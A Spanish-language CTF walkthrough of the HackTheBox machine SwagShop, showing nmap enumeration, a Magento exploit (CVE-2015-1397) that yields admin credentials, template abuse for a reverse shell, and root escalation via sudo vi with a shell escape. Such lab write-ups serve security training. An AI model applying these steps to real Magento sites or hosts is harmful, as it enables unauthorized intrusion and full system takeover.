Post

HackTheBox - SwagShop

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Magento Exploitation (CVE-2015-1397), Magento Froghopper (RCE), Binary Abusing

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

c. La web está creada con Magento

  • Si buscamos por un exploit para Magento encontramos CVE-2015-1397. Al ejecutarlo tendremos credenciales válidas para al panel de administración.

    1
    2
    
      ❯ python2 magento_exploit.py
      Check http://swagshop.htb/index.php/admin with creds forme:forme
    

d. Una vez en el panel de administrador tendremos 2 formas de ejecutar comandos

  1. Primero habilitaremos la opción ‘Allow Symlinks’ en System > Configuration > Developer > Template Settings > Allow Symlinks

  2. Creamos un fichero para entablarnos una reverse shell

  3. Creamos una nueva categoría en Catalog > Manage Categories y aquí subiremos nuestro nuestro de payload. Copiaremos el link de esta imagen

  4. Ahora iremos a Newsletter > Newsletter Templates y crearemos un template con el siguiente contenido

    1
    
        
    
  5. Por último, nos ponemos en escucha con nc y damos click en Preview Template

  • Ya obtenemos una reverse shell

    1
    2
    3
    
      ❯ nc -lvnp 443
      connect to [10.10.14.18] from (UNKNOWN) [10.10.10.140] 38338
      www-data@swagshop:/var/www/html$
    
  • La segunda forma es con el script Magento RCE < 1.9.0.1

  1. Para esto vamos al directorio /app y copiar la fecha de instalación de magento

  2. Modificamos el script

    1
    2
    3
    
     username = 'forme'                                                                                                             
     password = 'forme'                                                                     
     install_date = 'Wed, 08 May 2019 07:23:09 +0000'
    
  3. Nos entablamos una reverse shell

Escalada de Privilegios 💹

a. Listamos los permisos a nivel de sudoers del usuario www-data

1
2
3
4
www-data@swagshop:/var/www/html$ sudo -l

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
  • Spawneamos una consola como root

    1
    2
    3
    
      www-data@swagshop:/var/www/html$ sudo /usr/bin/vi /var/www/html/index.php -c ':!/bin/sh'
      # whoami 
      root
    
This post is licensed under CC BY 4.0 by the author.